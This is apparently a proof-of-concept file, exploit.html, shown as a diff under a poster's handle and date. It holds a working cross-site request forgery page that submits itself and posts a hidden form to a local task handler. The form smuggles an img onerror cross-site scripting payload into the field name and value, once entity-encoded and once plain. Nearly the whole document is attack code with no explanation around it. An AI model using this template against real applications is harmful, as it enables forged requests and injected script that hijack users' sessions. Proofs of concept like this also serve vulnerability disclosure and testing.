7h3h4ckv157 · August 22, 2022 14:46
diff --git a/exploit.html b/exploit.html
 <html>
  <body>
  <script>history.pushState('', '', '/')</script>
  <form action="http://127.0.0.1:8080/example_task_handler" method="POST" enctype="text/plain">
  <input type="hidden" name="&lt;img&#32;src" value="x&#32;OnError&#61;alert&#40;&quot;xss&quot;&#41;&gt;" />
  <input type="submit" value="Submit request" />
  </form>
  <script>
  document.forms[0].submit();
  </script>
  </body>
 </html>
	<html>
	<body>
	<script>history.pushState('', '', '/')</script>
	<form action="http://127.0.0.1:8080/example_task_handler" method="POST" enctype="text/plain">
	<input type="hidden" name="<img src" value="x OnError=alert("xss")>" />
	<input type="submit" value="Submit request" />
	</form>
	<script>
	document.forms[0].submit();
	</script>
	</body>
	</html>